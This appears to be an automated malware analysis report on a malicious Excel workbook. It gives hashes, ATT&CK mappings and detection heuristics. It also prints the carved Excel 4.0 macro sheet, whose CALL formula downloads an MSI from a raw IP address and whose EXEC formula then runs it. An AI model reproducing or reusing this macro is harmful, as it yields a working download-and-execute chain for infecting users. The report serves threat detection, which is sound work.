Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ec3b1a36b2f32c6f…

MALICIOUS

Office (OOXML)

29.0 KB Created: 2007-04-03 04:03:07 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-11-23
MD5: 34da204030dc23f632605ffe5d7c1382 SHA-1: c427611323598bfe82050f37b6f399739db2d148 SHA-256: ec3b1a36b2f32c6ff619c3a3e71c7fecda22b6884a8d84111a63a76a672016dd
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains Excel 4.0 macros, specifically utilizing the dangerous functions CALL, EXEC, and HALT. The CALL function is used to download a file named 'Update.msi' from the URL http://46.17.98.187/index.php. Subsequently, the EXEC function is used to execute 'wscript spp', likely to run the downloaded MSI payload. The HALT function is called to terminate the macro execution.

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: CALL, EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://46.17.98.187/index.php Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1557 bytes
SHA-256: 2d13c5da1ede8b34011f080a3e04b10dd4a217ebb70ac544c708e63cd7312d55
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="ED97:ED135"/><sheetViews><sheetView showFormulas="1" tabSelected="1" topLeftCell="DY1" workbookViewId="0"><selection activeCell="DY1" sqref="DY1"/></sheetView></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="133" width="9.140625" style="1"/><col min="134" max="134" width="29.140625" style="1" customWidth="1"/><col min="135" max="16384" width="9.140625" style="1"/></cols><sheetData><row r="97" spans="134:134" x14ac:dyDescent="0.25"><c r="ED97" s="1" t="s"><v>0</v></c></row><row r="120" spans="134:134" x14ac:dyDescent="0.25"><c r="ED120" s="1" t="b"><f>CALL("Urlmon","URLDownloadToFileA","JJCCJJ",0,"http://46.17.98.187/index.php","C:\Windows\Update.msi",0,0)</f><v>0</v></c></row><row r="124" spans="134:134" x14ac:dyDescent="0.25"><c r="ED124" s="1"><f>EXEC("wscript spp")</f><v>33</v></c></row><row r="135" spans="134:134" x14ac:dyDescent="0.25"><c r="ED135" s="1" t="b"><f>HALT()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><drawing r:id="rId1"/></xm:macrosheet>

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